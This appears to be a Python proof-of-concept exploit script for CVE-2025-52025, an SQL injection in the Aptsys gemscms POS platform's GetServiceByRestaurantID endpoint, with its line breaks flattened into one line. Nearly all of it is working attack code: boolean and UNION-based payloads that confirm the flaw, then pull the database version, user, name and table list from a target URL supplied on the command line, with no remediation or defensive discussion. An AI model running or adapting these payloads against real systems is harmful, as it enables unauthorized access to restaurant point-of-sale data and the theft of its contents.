CVE-2025-52025 Aptsys gemscms POS Platform SQL注入漏洞

import requests import sys # CVE-2025-52025 SQL Injection PoC # Target: Aptsys gemscms POS Platform GetServiceByRestaurantID endpoint def exploit_sqli(target_url, payload): """ Send SQL injection payload to the vulnerable endpoint """ params = {'id': payload} try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def test_basic_sqli(target_url): """ Test basic SQL injection with error-based technique """ # Basic injection to trigger SQL error and confirm vulnerability payload = "1' OR '1'='1" print(f"[*] Testing basic SQL injection...") print(f"[*] Payload: {payload}") result = exploit_sqli(target_url, payload) print(f"[+] Response length: {len(result)}") return result def extract_database_info(target_url): """ Extract database version and name using UNION-based injection """ # Payload to extract database version payload = "1' UNION SELECT NULL,version(),user(),database()-- -" print(f"[*] Extracting database information...") result = exploit_sqli(target_url, payload) print(f"[+] Database info: {result[:500]}") return result def extract_tables(target_url): """ Extract table names from database """ # Payload to list all tables payload = "1' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -" print(f"[*] Extracting table names...") result = exploit_sqli(target_url, payload) print(f"[+] Tables found: {result[:500]}") return result def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-52025_poc.py <target_url>") print("Example: python cve-2025-52025_poc.py http://target.com/api/GetServiceByRestaurantID") sys.exit(1) target_url = sys.argv[1] print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-52025 SQL Injection PoC") print("=" * 50) # Test vulnerability test_basic_sqli(target_url) print("=" * 50) # Extract database information extract_database_info(target_url) print("=" * 50) # Extract tables extract_tables(target_url) if __name__ == "__main__": main()